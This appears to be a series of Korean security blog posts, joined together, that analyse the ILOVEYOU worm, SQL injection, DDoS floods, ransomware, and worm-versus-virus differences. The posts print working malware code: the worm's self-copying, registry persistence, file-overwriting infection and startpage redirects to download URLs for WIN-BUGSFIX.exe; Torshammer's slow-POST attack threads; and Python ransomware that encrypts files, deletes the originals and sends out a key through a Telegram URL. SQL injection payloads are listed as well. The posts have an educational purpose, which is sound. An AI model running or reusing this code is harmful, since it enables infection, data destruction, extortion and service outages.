Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
  • 파일 시스템 객체를 만든후 현재스크립트를 읽기모드로 불러와서 file변수에 저장
  • vbscopy변수에 file변수에 있는 내용을 저장
  rem Creates a shell which will be used to read the registry.
  Set wscr = CreateObject("WScript.Shell")
  rem Gets a registry key which indicates the scripting time-out from Windows.
  rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

  rem Checks if the current timeout is more than 0.
  If (rr >= 1) Then
    rem Sets the timeout to 0, effectively making it so that the script won't
    rem time out, incase the system happens to be too slow to execute it.
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
  End If
  • wscr변수에 WScript.Shell 개체를 생성하여 레지스트리를 조작할 수 있는 기능을 제공하고 rr변수에 Windows 스크립팅 호스트의 타임아웃 설정 값을 저장
  • rr이 1이상이라면 타임 아웃 값을 0으로 설정하여 시스템이 느려 스크립트가 중단되는 것을 방지

2. 공격 시작

  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  Set c = fso.GetFile(WScript.ScriptFullName)

  rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
  rem LOVE-LETTER-FOR-YOU.TXT.vbs
  c.Copy(dirsystem & "\MSKernel32.vbs")
  c.Copy(dirwin & "\Win32DLL.vbs")
  c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
  • dirwin, dirsystem, dirtemp 변수에 윈도우 특수폴더를 삽입. 0은 Windows 폴더, 1은 시스템 폴더, 2는 임시 폴더
  • 현재 스크립트를 \MSKernel32.vbs, \win32DLL.vbs, \LOVE-LETTER-FOR-YOU.TXT.vbs파일의 이름으로 Windows폴더, 시스템 폴더, 임시 폴더에 복사
  rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"

  rem Get internet Explorer's download directory.
  downread = ""
  downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

  rem If the directory wasn't found, then use C:\ drive as the download directory.
  If (downread = "") Then
    downread = "c:\"
  End If
  • 새로운 레지스트리 키를 생성해서 윈도우가 부팅될 때마다 \MSKernel32.vbs가 실행되도록 설정, Win32DLL.vbs파일이 시스템 서비스에 실행되도록 설정
  • downread변수에 인터넷익스플로어 다운로드 디렉토리를 저장
  • 만약 downread에 값이 없다면 "c:\"경로를 downread변수에 저장
 If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
    Randomize

    rem Generate a random number from 1 to 4.
    num = Int((4 * Rnd) + 1)

    rem Randomly update the Internet Explorer's start page that leads to a
    rem page that will download a malicious executable "WIN-BUGSFIX.exe".
    If num = 1 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    ElseIf num = 2 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    ElseIf num = 3 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    ElseIf num = 4 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    End If
  End If
  • 시스템 폴더에 \WinFAT32.exe파일이 존재하면 1~4까지 숫자를 랜덤으로 num변수에 넣은 후 num의 값에 따라 인터넷 익스플로러의 시작페이지를 악성페이지로 설정
  • 인터넷 익스플로러를 실행하게되면 WIN-BUGSFIX.exe를 다운
  If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
    rem Add WIN-BUGSFIX.exe to run on startup
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
    rem Update Internet Explorer's start page to "about:blank"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
  End If
End Sub
  • 다운 경로에 \WIN-BUGSFIX.exe파일이 존재한다면 윈도우가 부팅될 때 \WIN-BUGSFIX.exe가 실행되도록 레지스트리에 등록하고 인터넷 익스플로러의 시작페이지를 about:blank로 설정
Sub infectfiles(folderspec)
  On Error Resume Next
  Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3

  Set f = fso.GetFolder(folderspec)
  Set fc = f.Files

  For Each f1 In fc
    ext = fso.GetExtensionName(f1.path)
    ext = lcase(ext)
    s = lcase(f1.name)

    rem Copies itself into every file with vbs/vbe extension.
    If (ext = "vbs") Or (ext = "vbe") Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
    rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
    rem and creates a copy of the file with the .vbs extension.
  • 폴더의 파일들을 fc변수에 저장한 후 For Each f1 In fc구문으로 반복문을 실행
  • f1의 확장자를 ext변수에 저장하고 파일이름과 확장자를 소문자로 변환
  • 확장자가 vbs 또는 vbe인경우 파일을 쓰기 모드로 열고 vbscopy의 내용을 쓴 후에 닫습니다.
    ElseIf (ext = "js")
      Or (ext = "jse")
      Or (ext = "css")
      Or (ext = "wsh")
      Or (ext = "sct")
      Or (ext = "hta")
    Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
      bname = fso.GetBaseName(f1.path)

      Set cop = fso.GetFile(f1.path)

      cop.copy(folderspec & "\" & bname & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with jpg/jpeg extension
    rem and creates a copy of the file with the .vbs extension.
    ElseIf (ext = "jpg") Or (ext = "jpeg") Then
      rem Copies itself
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close

      Set cop = fso.GetFile(f1.path)

      cop.copy(f1.path & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with mp3/mp2 extension.
    ElseIf (ext = "mp3") Or (ext = "mp2") Then
      Set mp3 = fso.CreateTextFile(f1.path & ".vbs")

      mp3.write vbscopy
      mp3.close

      Set att = fso.GetFile(f1.path)
      rem Sets file attributes to make the file Hidden.
      rem Normal files have the attribute set to 0 so adding 2 to it,
      rem will set the attributes to Hidden.
      att.attributes = att.attributes + 2
    End If
  • js, jse, css, wsh, sct, hta 확장자와 jpg, jpeg확장자는 기존 과정을 거치고 확장자를 .vbs로 변경 후 원본 파일을 삭제
  • mp3와 mp2파일은 기존 과정을 거친 후 원본 파일의 속성을 변경하여 숨김파일로 변경. 
  • Hidden속성에 해당하는 속성 값은 일반적으로 2이기 때문에 기존 파일의 속성에 +2를 실행

 

 


ILOVEYOU VIRUS 소스 코드

https://github.com/onx/ILOVEYOU/tree/master

'악성코드 > virus' 카테고리의 다른 글

Ransomeware  (1) 2023.11.30

SQL Injection

웹 사이트의 입력란, 파라미터에 악의적인 쿼리문을 삽입하여 DB를 해킹하는 공격기법

 

공격 유형

  Error Based Union Based Boolean Based Time Based
설명 오류를 발생시키는 쿼리문을 삽입해서 발생하는 오류 구문을 통해 필요한 정보를 습득 2개 이상의 쿼리를 요청하여 결과를 얻는 Union 연산자를 삽입해서 공격 참, 거짓을 출력하는 페이지에서 쿼리를 조작하여 공격 쿼리문의 참, 거짓에 따라 응답시간을 다르게 설정하여 공격
공격 구문 extractvalue(xml_frag, xpath_expr)# union select 1,column_name,3 from information_schema.columns# ' or 1=1#
' or 1=0#
' or 1=1 and sleep(2)#

 

공격 유형 분석

Error Based SQL Injection

extravtvalue(XML,XPath)

  • 인자 값에는 xml과 XPath 표현식이 필요하고 표현식에 일치하는 데이터를 추출해서 반환해주는 함수
  • 이 함수를 SQL쿼리에 사용하면 쿼리의 실행 결과가 오류 메세지에 포함되는 것을 악용한 공격
SELECT extractvalue(1,concat(0x3a,version())); ##DB 버전 확인을 위한 쿼리문

 

 

Union Based SQL Injection

union

  • 전제조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 한다.
  • UNION이란 둘 이상의 쿼리문에서 검색된 레코드를 단일 집합으로 결합해주는 연산자
  • 칼럼 수를 일치시킬 때까지 테스트해가면서 칼럼수를 알아낸 후 UNION 공격 수행
' union select all 1,table_name,3,4 from information_schema.table#

 

 

Boolean Based SQL Injection

  • 참, 거짓 정보를 도출하는 SQL 쿼리문을 삽입하여 DB 정보를 탈취하는 공격
' or 1=1# 참일 경우의 메시지 확인
' or 1=0# 거짓인 경우 메시지 확인
' order by 숫자# 같은 원리로 칼럼 갯수 찾기
' or 1=1 and length(database())=숫자# 같은 원리로 DB 이름 길이 찾기

 

 

Time Based SQL Injection

  • sleep()함수를 이용하여 참, 거짓을 알아내는 공격
  • sleep()함수를 넣어 참이면 대기시간을 갖고 거짓이면 동작하지 않도록 하여 참과 거짓을 구분 
' or 1=1 and sleep(2)# 참이면 2초간 대기
' or 1=1 and length(database()) = 숫자 and sleep(2)# 데이터베이스 길이 확인
' or 1=1 and substring(database(),1,1)='문자'and sleep(2)# DB명 첫 글자 확인
' or 1=1 and substring(database(),2,1)='문자'and sleep(2)# DB명 두번째 글자 확인

 

 

 


웹 페이지와 DB의 정보를 확인 후 SQL Injection 공격 시도하는 경우보다 봇을 이용한 SQL Injection 공격을 자주 시도하기 때문에 공격유효성이 존재하는 SQL Injection 공격은 흔치않다.

DDOS Attack

다수의 서버, PC등을 이용해 비정상적인 트래픽을 유발시켜서 대상 시스템을 마비시키는 공격 행위

 

 

동작원리

1. 취약한 서버를 스캔

2. 경유지 서버에서 악성코드를 내려 받아서 봇넷을 구축

  • 예시) wget https://url, wget https://ip
  • 봇넷 : 악성코드 등에 감염된 PC, IoT, 서버들로 구성된 집단

3. 공격자는 봇넷에 명령을 전달하여 피해자 서버에 대규모의 트래픽을 유발

 

 

공격유형 및 대응방법

  대역폭 공격 자원 소진 공격 웹/DB 부하 공격
목표 시스템의 네트워크 대역폭을 포화시키는 것을 목표 시스템 리소스를 과도하게 사용하여 서비스를 마비시키는 것을 목표 웹 서버 또는 데이터베이스 서버에 과도한 요청을 보내는 것을 목표
유형 UDP Flooding
ICMP Flooding 등
TCP SYN, ACK Flooding 등 GET, POST Flooding 등
피해  동일 네트워크 회선을 사용하는 모든 시스템 접속 불가 대상 서버, 시스템 과부하 발생 대상 웹/DB 과부하 발생

 

대역폭 공격 

UDP Flooding

  • UDP 프로토콜의 비연결형 특성을 이용한 공격
  • 봇넷을 이용해 피해 서버로 대규모의 UDP 패킷을 전달
  • 대규모 UDP 패킷이 피해자의 시스템으로 전달되면서 피해 시스템의 회선 대역폭을 고갈
  • 대응 방법 : UDP패킷을 차단하거나 UDP 패킷을 사용한다면 불필요한 포트 차단, 임계치 기반 차단 정책 적용

ICMP Flooding

  • 봇넷을 이용해 대량의 ICMP 패킷을 이용하여 네트워크 대역폭을 포화시키거나 고갈시키는 공격
  • 대량의 ICMP 패킷을 Request를 보내면 트래픽이 급증하고 이에 대한 응답(Reply)을 처리하기 위해 많은 자원을 소진
  • 대응 방법 : ICMP패킷을 차단하거나 ICMP 패킷을 사용한다면 과도하게 많은 ICMP 패킷을 차단하는 룰 적용

 

자원 소진 공격

TCP SYN Flooding

  • 가짜 IP주소를 사용하여 대량의 SYN 패킷을 피해자 서버에 전송하는 공격
  • 피해자 서버는 가짜 IP주소로 SYN-ACK응답을 보내고 ACK응답을 기다리지만 가짜 IP주소이기 때문에 보류 상태로 남아있게 되고 새로운 유효한 응답을 받지 못하게 되어 서비스 거부 상태에 빠지게된다.
  • 대응 방법 : TCP SYN Cookie를 사용하여 SYN Flooding을 감지하고 차단하거나 TCP 연결유지 시간 조정

TCP ACK Flooding

  • 대량의 TCK ACK(인증확인) 패킷을 피해자 서버로 전송하는 공격
  • 피해자 서버는 TCK ACK패킷을 확인할 때마다 리소스를 소비하며 패킷 확인을 위한 연결을 유지하기 때문에 유효한 연결을 처리하지 못하고 서비스 거부상태에 빠지게 된다.
  • 대응 방법 : 정해진 임계치 이상으로 유입되는 ACK 패킷에 대하여 차단하거나 3-way-handshake를 거치지 않고 발생하는 ACK 패킷에 대하여 차단 설정

 

웹/DB 부하 공격

GET Flooding

  • 대량의 GET 요청을 웹 서버에 전송하는 공격
  • 웹 서버에 대량의 GET요청을 보내고 서버는 이 요청에 응답하기 위해 웹 서버의 자원과 DB서버까지 자원을 소진시켜 웹 서비스 이용을 거부시킨다.
  • 대응 방법 : 단기간에 대량의 Request를 보낸 악성 클라이언트 차단, 임계치를 초과한 IP 차단 

Slowloris Attack

  • GET Flooding과 유사하지만 오랜 시간 지속적으로 수행한다는 차이점
  • 헤더 값을 모두 전송하지않고 일부분만 전송하여 연결을 유지시킴으로써 서버의 자원을 고갈
  • HTTP 헤더의 끝을 /r/n/r/n이라는 개행문자로 구분하는데 이 마지막 개행문자를 보내지 않고 지속적으로 의미없는 변수를 추가하면 서버는 헤더 정보가 아직 전송 중이라고 인식하고 연결을 유지한다.
  • 대응 방법 : 세션 유지 시간을 조절하여 유지시간을 초과하면 차단 조치, 헤더 값 일부분을 전송하면 차단 조치

POST Flooding

  • 대량의 POST 요청을 웹 서버에 전송하는 공격
  • 웹 서버에 대량의 POST 요청을 전송하면 POST요청을 처리하는데 많은 리소스를 사용하게 되고 이 과정에서 자원이 고갈
  • 대응 방법 : 과도하게 많은 POST요청을 전송하는 IP 확인 후 차단 조치

RUDY(R-U-Dead-Yet) Attack

  • POST Method를 이용한 Slow 공격 
  • POST Content-Length 헤더에 대량의 데이터를 삽입하여 장시간에 조금씩 분할해서 전송하면 서버는 데이터를 수신하기 위해 장시간 연결을 유지하게 되고 정상 사용자들의 요청을 받아들일 수 없게 된다.
  • 대응 방법 : Content-Length 및 Packet-Size 임계치 설정하여 초과하면 차단, 세션 유지 시간을 조절하여 초과하면 차단 조치

 

 

DDOS 소스 코드 분석(Torshammer)

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True

    def _send_http_post(self, pause=10):
        global stop_now

        self.socks.send("POST / HTTP/1.1\r\n"
                        "Host: %s\r\n"
                        "User-Agent: %s\r\n"
                        "Connection: keep-alive\r\n"
                        "Keep-Alive: 900\r\n"
                        "Content-Length: 10000\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
                        (self.host, random.choice(useragents)))

        for i in range(0, 9999):
            if stop_now:
                self.running = False
                break
            p = random.choice(string.letters+string.digits)
            print(term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL)
            self.socks.send(p)
            time.sleep(random.uniform(0.1, 3))

        # self.socks.close()
  • HTTP POST 공격을 할 때 사용되는 변수를 초기화 하는 과정을 거친 후 헤더 값을 지정하고 대량의 데이터를 랜덤으로 선정하여 소켓에 저장합니다.

 

    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:
                        self.socks.set_proxy(socks.SOCKS5, '127.0.0.1', 9150)
                        time.sleep(1)
                    self.socks.connect((self.host, self.port))
                    print(term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL)
                    break
                except Exception as e:
                    print(term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL)
                    print(e)
                    time.sleep(1)
                    sys.exit()

            while self.running:
                try:
                    self._send_http_post()
                except Exception as e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print(term.BOL + term.UP + term.CLEAR_EOL + "Thread broken, restarting..." + term.NORMAL)
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass
  • tor의 값이 TRUE일 경우 프록시 설정을 하고 설정한 host와 port로 연결을 시도합니다. 그 후 앞에서 설정한 변수인 _send_http_post를 사용해 HTTP POST 공격을 시도합니다.

 

def main(argv):
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage()
        sys.exit(-1)

    global stop_now

    target = ''
    threads = 256
    tor = False
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print(term.DOWN + term.RED + "/*" + term.NORMAL)
    print(term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL)
    print(term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL)
    print(term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL)
    print(term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL)

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.is_alive()]
        except KeyboardInterrupt:
            print("\nShutting down threads...\n")
            for t in rthreads:
                stop_now = True
                t.running = False
  • 프로그램을 실행시키면 main함수에서 실행되며 target, port, threads, tor 사용 여부 옵션에 따라 프로그램이 실행되게 됩니다.

 

 


torshammer 소스 코드

https://github.com/Karlheinzniebuhr/torshammer

 

정보 보안 지식을 공유하는 블로그입니다.

질문이나 지식 공유는 이메일로 부탁드립니다.

 

email : secqrmail@gmail.com

 

Ransomeware

컴퓨터 시스템의 접근을 제한하는 악성 소프트웨어의 한 종류

 

 

감염 대상

대부분의 랜섬웨어는 중요한 비즈니스 정보를 타겟으로하는 경우가 많기 때문에 Microsoft Office 파일을 대상

 

 

동작 원리

1. 이메일 첨부 파일, 악성 링크, 소프트웨어 취약점 등을 통해 사용자의 컴퓨터로 침투

2. 시스템 내의 파일이나 디렉터리를 암호화. 

  • 예시) open(f"{FileName}.lol","web") as File: File.write(Encrypted)
  • 일부 랜섬웨어는 특정 파일 확장자 또는 특정 파일 유형을 대상

3. 암호화된 파일이나 디렉터리를 해독하기 위한 키를 제공해주는 조건으로 금액 요구

 

 

해결방안

1. 파일 백업 : 정기적으로 파일을 안전한 장소에 백업

2. 보안소프트웨어 사용 : 안티바이러스 및 안티랜섬웨어 소프트웨어를 설치하여 주기적으로 업데이트

3. 의심스러운 링크, 첨부파일 열람 금지

 

만약 중요 파일이 랜섬웨어에 감염되었다면 공격자의 요구에 응해주기보다는 파일 및 보안솔루션 백업을 통해 해결해나가길 권장합니다.

 

 

Ransomware 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

1. 암호화

class D_E_ncrypt(object):             

    def __init__(self, Target=0, BoxM=0, Url=0):

        self.Target     = Target       # File Path
        self.BoxM       = BoxM         # Our Box Moudle
        self.Url        = Url          # Our Api Url in my case Telegram

    def FileE(loc):                    
        print(f"FILE -> {loc.Target}")
        try:                          
            if (os.path.isdir(loc.Target) != True) :                       

                with open(loc.Target, "rb") as File:    
                        Date    = File.read()          
               
                FileName    = loc.Target                
                Encrypted   = loc.BoxM.encrypt(Date)

                if(loc.Target != sys.argv[0]):           
                    with open(f"{FileName}.lol","wb") as File: 
                        print(f"FILE -> {FileName}")    
                        File.write(Encrypted)          
                    os.remove(loc.Target)             
        except Exception as e:print(f"Error -> {e}")
    def SendKey(Key):             
        requests.get(Key.Url)
  • 파일을 읽기 모드로 오픈 후 Date변수에 저장
  • Target을 FileName변수에 삽입, Date변수를 암호화 한 후 Encrypted변수에 저장
  • FileName.lol파일을 쓰기 모드로 오픈 후 암호화된 내용을 저장하고 기존 파일은 삭제

2. 복호화

Key         = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)                       
Box         = nacl.secret.SecretBox(Key)                                             

decrypted_data = Box.decrypt(Encrypted)
print(f"Decrypted data: {decrypted_data}")
  • nacl.secret.SecretBox에 키를 넣어 Box변수에 저장
  • Encrypted변수를 복호화하여 decrypted_data변수에 저장하여 출력

 

 


Ransomeware 소스 코드 

https://github.com/cy4nguy/Python-Ransomware/blob/master/Ransomware.py#L45

'악성코드 > virus' 카테고리의 다른 글

ILOVEYOU, Love Letter Virus  (1) 2023.12.07

전파 방식

worm - 취약한 포트, 네트워크 서비스를 탐지 후 침투하여 자동 전파 

virus -  바이러스가 포함된 파일이나, 실행 가능한 코드를 실행하였을 경우

 

활성화 방식

worm -  자체를 실행하거나, 시스템 부팅 시 자동 실행되어 네트워크를 통해 다른 시스템에 복제

virus - 감염된 파일 실행이나 부팅 시 활성화

 

대응 및 방어 방법

worm - 네트워크를 통해 확산되므로 방화벽, 업데이트 및 보안 패치, 악성트래픽 필터링을 통해 예방 

virus - 주로 파일을 통해 확산되므로 안티바이러스 소프트웨어 실행, 파일 검사 등을 통해 예방 

 

worm, virus의 차이

바이러스와 웜 모두 자가 복제기능이 있을수있다. 차이점으로는 전파 방식과 전파 대상이다.

 

  WORM VIRUS
전파경로 네트워크(IP, PORT) 파일, 프로그램
복제여부 자가 복제 자가 복제
공격대상 네트워크, 시스템 파일, 시스템

 

 

+ Recent posts